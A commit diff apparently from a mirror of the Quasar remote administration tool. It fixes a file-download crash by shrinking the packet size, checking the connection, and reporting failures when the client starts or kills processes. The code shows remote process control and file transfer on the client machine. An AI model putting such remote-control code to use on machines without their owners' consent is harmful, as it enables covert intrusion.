mirror of https://github.com/quasar/Quasar.git
Fixed crash when downloading files over 2MB (#75)
This commit is contained in:
parent
304a342f19
commit
e50ea69d43
|
@ -312,7 +312,8 @@ namespace xClient.Core.Commands
|
||||||
Process.GetProcessById(command.PID).Kill();
|
Process.GetProcessById(command.PID).Kill();
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{ }
|
{
|
||||||
|
}
|
||||||
finally
|
finally
|
||||||
{
|
{
|
||||||
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
|
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
|
||||||
|
@ -321,21 +322,30 @@ namespace xClient.Core.Commands
|
||||||
|
|
||||||
public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
|
public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
|
||||||
{
|
{
|
||||||
if (!string.IsNullOrEmpty(command.Processname))
|
if (string.IsNullOrEmpty(command.Processname))
|
||||||
{
|
{
|
||||||
|
new Packets.ClientPackets.Status("Process could not be started!").Execute(client);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
ProcessStartInfo startInfo = new ProcessStartInfo { UseShellExecute = true, FileName = command.Processname };
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
UseShellExecute = true,
|
||||||
|
FileName = command.Processname
|
||||||
|
};
|
||||||
Process.Start(startInfo);
|
Process.Start(startInfo);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{ }
|
{
|
||||||
|
new Packets.ClientPackets.Status("Process could not be started!").Execute(client);
|
||||||
|
}
|
||||||
finally
|
finally
|
||||||
{
|
{
|
||||||
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
|
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
public static void HandleDrives(Packets.ServerPackets.Drives command, Client client)
|
public static void HandleDrives(Packets.ServerPackets.Drives command, Client client)
|
||||||
{
|
{
|
||||||
|
@ -451,6 +461,7 @@ namespace xClient.Core.Commands
|
||||||
|
|
||||||
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
|
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
|
||||||
{
|
{
|
||||||
|
if (!client.Connected) return;
|
||||||
if (_canceledDownloads.ContainsKey(command.ID)) return;
|
if (_canceledDownloads.ContainsKey(command.ID)) return;
|
||||||
|
|
||||||
byte[] block;
|
byte[] block;
|
||||||
|
|
|
@ -7,7 +7,7 @@ namespace xClient.Core.Helper
|
||||||
{
|
{
|
||||||
private int _maxBlocks;
|
private int _maxBlocks;
|
||||||
|
|
||||||
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - 1;
|
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - (1024 * 2);
|
||||||
public string Path { get; private set; }
|
public string Path { get; private set; }
|
||||||
public string LastError { get; private set; }
|
public string LastError { get; private set; }
|
||||||
|
|
||||||
|
|
|
@ -7,7 +7,7 @@ namespace xServer.Core.Helper
|
||||||
{
|
{
|
||||||
private int _maxBlocks;
|
private int _maxBlocks;
|
||||||
|
|
||||||
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - 1;
|
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - (1024 * 2);
|
||||||
public string Path { get; private set; }
|
public string Path { get; private set; }
|
||||||
public string LastError { get; private set; }
|
public string LastError { get; private set; }
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue